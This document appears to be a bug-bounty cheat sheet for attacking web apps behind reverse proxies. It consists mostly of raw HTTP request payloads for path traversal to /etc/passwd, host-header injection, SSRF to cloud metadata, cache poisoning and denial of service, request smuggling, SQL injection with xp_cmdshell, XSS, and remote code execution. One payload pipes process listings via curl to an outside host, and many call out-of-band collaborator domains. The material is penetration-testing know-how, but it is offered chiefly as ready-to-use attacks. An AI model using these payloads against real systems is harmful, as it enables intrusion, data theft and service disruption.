Secondary context refers to the different ways a web application can handle and process requests indirectly related to the main content. This often involves proxies, back-end servers, and intermediate services that might introduce additional security risks.
Identify Some " Hidden " Reverse HTTP Proxies
The heuristic rules used are the following :
A 502 status code is returned (RFC 2616, section 14.31)
A 483 status code is returned (RFC 3261, section 8.1.1.6)
When using TRACE, the body contains the 'X-Forwarded-For' string
Does /Endpoint-To-Proxy/../ Return Something Different Than /
Does /Endpoint-To-Proxy/../ Return Headers Different Than /
Try To Inject Encode , Double OR Triple URL Encoding In Parameters
e.g. https://www.company.com/api/path?id=%23
Try To Inject Encode , Double OR Triple URL Encoding These Payloads After URL
..%2f%23
..;/
..%00/
..%0d/
..%5c
..\
..%ff/
%2e%2e%2f
.%2e/
e.g. https://www.company.com/api/..%00/
Using OPTIONS Method for endpoint discovery
Using OPTIONS Method to identify other endpoints
Check PUT Method
Try To Change Request Method To PUT If You Got 201 Created Then There Is RCE
PUT /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Referer:https://previous.com/pathOrigin:https://www.company.com// referenceshttps://www.hackingarticles.in/multiple-ways-to-exploiting-put-method/https://www.arridae.com/blogs/HTTP-PUT-method.phphttps://asfiyashaikh.medium.com/exploiting-put-method-d2d0cd7ba662
Try To Append .json Extension To Your Endpoints e.g. /endpoint-To-Proxy.json To Get Sensitive Information -> Tweet
Smuggling via HTTP/2 Cleartext
Try To Figure Out Are There Endpoints Accept Establishing HTTP/2 Cleartext , If Yes Try To Smuggler It By Using Tool e.g. h2csmuggler
import socketreq1 ='''GET /ُEndpoint-To-Proxy/ HTTP/1.1Host: company.comSec-WebSocket-Version: 1337Upgrade: websocket'''.replace('\n', '\r\n')req2 ='''GET /Internal-Endpoint HTTP/1.1Host: localhost:PORT'''.replace('\n', '\r\n')defmain(netloc): host, port = netloc.split(':') sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect((host, int(port))) sock.sendall(req1) sock.recv(4096) sock.sendall(req2) data = sock.recv(4096) data = data.decode(errors='ignore')print data sock.shutdown(socket.SHUT_RDWR) sock.close()-----------------------------------------------------------------------------Steps to produce :-1- Open Your Terminal2- Write This Command python3 websocket-smuggler.py
XSS
XSS in Referrer
Referer:"><script src=//me.xss.ht></script>
If There Is Nginx As Reverse Proxy Try To Inject Blind XSS Payloads
GET /Endpoint-To-Proxy/%3D%22img src='https://RandomString(10).id.burpcollaborator.net'%22%3E HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Referer:https://previous.com/pathOrigin:https://www.company.comConnection:keep-alive
Try To Inject XSS Payloads After Your Endpoints
GET /Endpoint-To-Proxy/"></script><svg onload=%26%2397%3B%26%23108%3B%26%23101%3B%26%23114%3B%26%23116%3B(document.domain)> HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0Referer:https://previous.com/pathOrigin:https://www.company.comConnection:keep-alive---------------------// resourceshttps://medium.com/@saamux/reflected-xss-on-www-yahoo-com-9b1857cecb8chttps://medium.com/bugbountywriteup/900-xss-in-yahoo-recon-wins-65ee6d4bfcbdhttps://medium.com/@saamux/filter-bypass-to-reflected-xss-on-https-finance-yahoo-com-mobile-version-22b854327b27
Host Header Injection
GET /Endpoint-To-Proxy HTTP/1.1Host:RandomString(10).id.burpcollaborator.netUser-Agent:Mozilla/5.0Referer:https://previous.com/pathOrigin:https://www.company.comConnection:keep-alive-----------------------------------------------------------// Ambiguate The Host Header Host:company.com@RandomString(10).id.burpcollaborator.netHost:company.com:@RandomString(10).id.burpcollaborator.netHost:company.com:RandomString(10).id.burpcollaborator.netHost:RandomString(10).id.burpcollaborator.netHost:localhostHost:company.com:PORT----------------Host:RandomString(10).id.burpcollaborator.netX-Forwarded-Host:RandomString(10).id.burpcollaborator.net---------------------//Space-surrounded Host HeaderHost:www.company.com Host: RandomString(10).id.burpcollaborator.net-------------------------//Change Host Header To host Headerhost:comapny.com------------------------// o Remove The Space That In The Host HeaderHost:www.company.com---------------- // Add Tab Instead Of The Space That In The Host HeaderHost:www.company.com----------------------------Add / , : , \x00 , \x20 , \x09 , \xad After Value Of The Host HeaderHost:www.company.com sensitive-file.txt----------------------------------------// Override The Host Header e.g. POST https://company.com // AND Change Host Header e.g Host: RandomString(10).id.burpcollaborator.net // To Get SSRFGET https://company.com/Endpoint-To-Proxy HTTP/1.1Host:RandomString(10).id.burpcollaborator.net--------------------------------------// Spoof The Original IPGET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comX-Forwarded-For:0000::1Source:https://hackerone.com/reports/44513-------------------------------GET /Endpoint-To-Proxy HTTP/1.0Host:www.company.comX-Forwarded-For:RandomString(10).id.burpcollaborator.netSource:https://twitter.com/ADITYASHENDE17/status/1305723250413105152----------------------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comX-Forwarded-For:0177.1Source:https://twitter.com/agarri_fr/status/965196958011920384-----------------------------------------------------// Other BypassesX-Forwarded-For:127.0.0.1\rX_Forwarded_For:127.0.0.1Forwarded:for=127.0.0.1X-ProxyUser-Ip:127.0.0.1X-Remote-User:adminReferer:RandomString(10).id.burpcollaborator.netOrigin:https://RandomString(10).id.burpcollaborator.net----------Referer:RandomString(10).id.burpcollaborator.netReferer:RandomString(10).id.burpcollaborator.netOrigin:https://RandomString(10).id.burpcollaborator.netOrigin:https://RandomString(10).id.burpcollaborator.net--------------------------------------# Inject Noun-Standard HeadersX-Forwarded-For:RandomString(10).id.burpcollaborator.netX-Forwarded-Host:RandomString(10).id.burpcollaborator.netX-Client-IP:RandomString(10).id.burpcollaborator.netX-Originating-IP:RandomString(10).id.burpcollaborator.netX-WAP-Profile:https://RandomString(10).id.burpcollaborator.netTrue-Client-IP:RandomString(10).id.burpcollaborator.net----------------------------------------------------------------------------# Double Noun-Standard HeadersX-Forwarded-For:RandomString(10).id.burpcollaborator.netX-Forwarded-For:RandomString(10).id.burpcollaborator.netX-Forwarded-Host:RandomString(10).id.burpcollaborator.netX-Forwarded-Host:RandomString(10).id.burpcollaborator.netX-Client-IP:RandomString(10).id.burpcollaborator.netX-Client-IP:RandomString(10).id.burpcollaborator.net--------------------------------------------------# Sources https://zeronights.ru/wp-content/themes/zeronights-2019/public/materials/4_ZN2019_Morozov_SSRF.pdfhttps://blog.paloaltonetworks.com/2019/10/cloud-kubernetes-vulnerabilities/https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Forwarded-Forhttps://speakerdeck.com/bo0om/at-home-among-strangers?slide=8https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Forwardedhttps://www.slideshare.net/sergeybelove/attacking-thru-http-host-headerhttps://www.slideshare.net/ssusera0a306/offzone-another-waf-bypasshttps://www.youtube.com/watch?v=zP4b3pw94s0https://hackerone.com/reports/429617https://medium.com/bugbountywriteup/identifying-escalating-http-host-header-injection-attacks-7586d0ff2c67https://www.youtube.com/watch?v=zP4b3pw94s0https://www.youtube.com/watch?v=V8f6gqrCbZUhttps://github.com/Bo0oM/WAF-bypass-Cheat-Sheet
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Content-Type:multipart/form-dataContent-Type:application/jsonContent-Length:NumberOrigin:https://www.company.comparameter=value
Invalid Content-Type Header
Content-Type:*/*
Inject l5d-dtab Header
If There Is Linkerd Service Try To Inject l5d-dtab Header e.g. l5d-dtab: /$/inet/169.254.169.254/80 To Get AWS metadata
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0l5d-dtab: /$/inet/169.254.169.254/80Content-Length:NumberOrigin:https://www.company.comparameter=value
Content-Length Header With Number And There Is Not Body Content To Expose Internal Information
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Content-Type:application/jsonContent-Length:NumberOrigin:https://www.company.com
Cache Poisoning and DOS
GET /Endpoint-To-Proxy HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0 Host: RandomString(10).id.burpcollaborator.net --------------------------GET /Endpoint-To-Proxy HTTP/1.1User-Agent:Mozilla/5.0 Host: RandomString(10).id.burpcollaborator.netHost:company.com----------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0X-Forwarded-Host:RandomString(10).id.burpcollaborator.net--------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0X-Forwarded-Host:www.company.com:PORT--------------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0X-Forwarded-Host:www.company.comX-Forwarded-Host:RandomString(10).id.burpcollaborator.net-----------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0X-Forwarded-Server:RandomString(10).id.burpcollaborator.net-------------------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:nullX-Forwarded-Host:RandomString(10).id.burpcollaborator.net----------------------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:'-alert(1)-'->https://www.youtube.com/watch?v=bDxYWGxuVqE------------------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0X-Forwarded-Scheme:nothttpsX-Forwarded-Host:RandomString(10).id.burpcollaborator.net-> https://www.youtube.com/watch?v=j2RrmNxJZ5c--------------------------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0X-Host:RandomString(10).id.burpcollaborator.net--------------------------------------------------X-Host:RandomString(10).id.burpcollaborator.net------------------X-Oversized-Header-1:xxxxx 20K xxxxX-Oversized-Header-2:xxxxx 20K xxxx---------------------------X-Metachar-Header:\n-> https://cpdos.org/--------------------------------------------------X-HTTP-Method-Override:PUT- https://blog.appsecco.com/aws-ec2-imdsv2-versus-an-esoteric-http-method-8bc1b9616ae8- https://cpdos.org/----------------------X-Forwarded-Port:123- https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning- https://hackerone.com/reports/409370----------------------------------X-Forwarded-SSL:off- https://portswigger.net/research/responsible-denial-of-service-with-web-cache-poisoning---------------------Max-Forwards:0------------------------------zTransfer-Encoding:xxxx--------------Accept_Encoding:xxxx-------------------Range:bytes=cow-----------------------User-Agent:xxxx 20K xxxx------------------------Try To Inject Keep-Alive , Transfer-Encoding , Trailer , Upgrade , Proxy-Authorization , TEConnection OR Proxy-Authenticate e.g. Connection: close, Cookie To Abuse Hop-By-HopConnection:close, Cookie- https://nathandavison.com/blog/abusing-http-hop-by-hop-request-headers-----------------------------Try To Inject ?%xx , %xx OR %xxx 20k xxx e.g. Endpoint-To-Proxy/%xx ToDo DOS AttackGET /Endpoint-To-Proxy/%xxx 20k xxx HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0- https://hackerone.com/reports/500686----------------------------Try To Add Parameter With Value e.g. ?parameter=cache OR If There Is ParametersTry To Add Another e.g. lang=en¶meter=cache To Achieve Cache PoisoningGET /Endpoint-To-Proxy?parameter=cache HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0- https://www.youtube.com/watch?v=bDxYWGxuVqE------------------------------------------------Add Parameter With Large Value e.g. ?parameter=xxx 20K xxxGET /Endpoint-To-Proxy?parameter=xxxx 20K xxxx HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0- https://www.youtube.com/watch?v=bDxYWGxuVqE----------GET /Endpoint-To-Proxy?_parameter=cache HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0- https://www.youtube.com/watch?v=bDxYWGxuVqE;parameter=cache --------------------------------------GET /Endpoint-To-Proxy HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0Referer:https://previous.com/pathOrigin:https://www.company.comConnection:keep-aliveparameter=cache_parameter=cache
If There Is Nginx As Reverse Proxy AND Weblogic As Backend Try To Use /#/../ To Change Route Of Endpoints
GET /Endpoint-To-Proxy/#/../../../../../../../../../../etc/passwd HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Referer:https://previous.com/pathOrigin:https://www.company.com---------------------------------------GET /../../../../../../../etc/passwd;/../Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0---------------------------------------GET /Endpoint-To-Proxy../../../../../../../etc/passwd HTTP/1.1Host:www.company.com--------------------------------------------GET /Endpoint-To-Proxy/..\..\..\..\..\..\..\..\..\..\..\..\..\..\etc\passwd HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0------------------------------------------Try To Inject \..\.\..\.\..\.\..\.\..\.\..\.\Internal-Endpoint OR\..\..\..\.\..\..\Internal-Endpoint\..\..\..\..\..\etc\passwd%3F.jsGET /Endpoint-To-Proxy\..\.\..\.\..\.\..\.\Internal-Endpoint HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0---------------------------------------------Let’s Assume There Is Routing To Pulse Secure SSL VPN So , Try To Inject To Get File etc/hostsGET /Endpoint-To-Proxy/dana-na/../dana/html5acc/guacamole/../../../../../../etc/hosts?/dana/html5acc/guacamole/# HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0----------------------------------------------------s Apache As Reverse Proxy Try To Use /..// To Change Route Of EndpointsGET /Endpoint-To-Proxy/..//../../../../../../etc/passwd HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0--------------------------------------------------If There Is Apache As Reverse Proxy Try To Use %3F To Bypass Blacklist OfEndpointsGET /Endpoint-To-Proxy/.git%3FAllowed HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0------------------------------------------------If There Is Nginx As Reverse Proxy AND Apache As Backend Try To Use //../ To Change Route Of EndpointsGET /Endpoint-To-Proxy/../../../../../../../etc/passwd//../ HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0-------------------------------------------------------If There Is Nginx As Reverse Proxy Try To Use ..;/ To Bypass Blacklist Of Endpoints OR Bypass CORSGET /Endpoint-To-Proxy/..;/../../../../../../etc/passwd HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0---------------------------------------GET /../../../../etc/passwd/..;/Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0----------------------------------------GeT /Endpoint-To-Proxy/../../../../../../etc/passwd HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0------------------------------------------# If There Is Varnish As Reverse ProxyGeT /Endpoint-To-Proxy/../../../../../../etc/passwd HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0------------------------------------------# If There Is Haproxy OR Varnish As Reverse ProxyGET http://company.com/Endpoints-To-Proxy/.git HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0-------------------------------------
Try To Change Method To POST And Add Body e.g. To Get RCE
POST /Endpoint-To-Proxy HTTP/1.1Host:company.comUser-Agent:Mozilla/5.0Referer:https://previous.com/pathContent-Type":"application/x-www-form-urlencodedOrigin:https://www.company.comConnection:keep-alive<?php phpinfo(); ?>
GET /Endpoint-To-Proxy/(${T(java.lang.Runtime). getRuntime().exec('nslookup id.burpcollaborator.net')}) HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0
SQLi
GET /Endpoint-To-Proxy/'xor(if(mid(database(),1,1)=0x41,sleep(30),0))or HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0
GET /Endpoint-To-Proxy/'xor(if(mid(database(),1,1)=0x41,sleep(30),0))or HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0
CRLF
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:https://www.company.comContent-Type:application/jsonContent-Length:Number{"parameter":"value%0A%01%09Host:%20id.burpcollaborator.net"}
Paameter Manipulation
Assume Backend Endpoint Take Value Of One Parameter As Path So Inject Encode , Double OR Triple URL Encoding ;@me.com , @me.com OR :@me.com To Get SSRF
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:https://www.company.comContent-Type:application/jsonContent-Length:Number{"parameter":";@RandomString(10).id.burpcollaborator.net"}
Assume Backend Endpoint Take Value Of One Parameter As Rewrite Configuration e.g. rewrite ^.*$ $arg_parameter; So Inject e.g. LFI Payloads To Get e.g. LFI
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:https://www.company.comContent-Type:application/jsonContent-Length:Number{ "parameter":"../../../../../../../../../../../../etc/passwd" }
RCE
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:https://www.company.comContent-Type:application/jsonContent-Length:Number{"parameter":"${nslookup id.burpcollaborator.net}"}
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:https://www.company.comContent-Type:application/jsonContent-Length:Number{"parameter":"&nslookup me.com&'\"`0&nslookup me.com&`'"}
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:https://www.company.comContent-Type:application/jsonContent-Length:Number{"parameter":"0 -write |ps${IFS}aux|curl${IFS}http://me.com${IFS}-d${IFS}@-"}
SQL Injection
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comUser-Agent:Mozilla/5.0Origin:https://www.company.comContent-Type:application/jsonContent-Length:Number{"parameter":"; DECLARE @command varchar(255); SELECT@command='ping id.burpcollaborator.net'; EXECMaster.dbo.xp_cmdshell @command; SELECT 1 as 'STEP'"}
Blind XSS
POST /Endpoint-To-Proxy HTTP/1.1Host:www.company.comContent-Type:application/jsonContent-Length:Number{"parameter":"</script><svg/onload='+/"/+/onmouseover=1/+(s=document.createElement(/script/.source),s.stack=Error().stack,s.src=(/,/+/RandomString(10).id.burpcollaborator.net/).slice(2),document.documentElement.appendChild(s))//'>"}
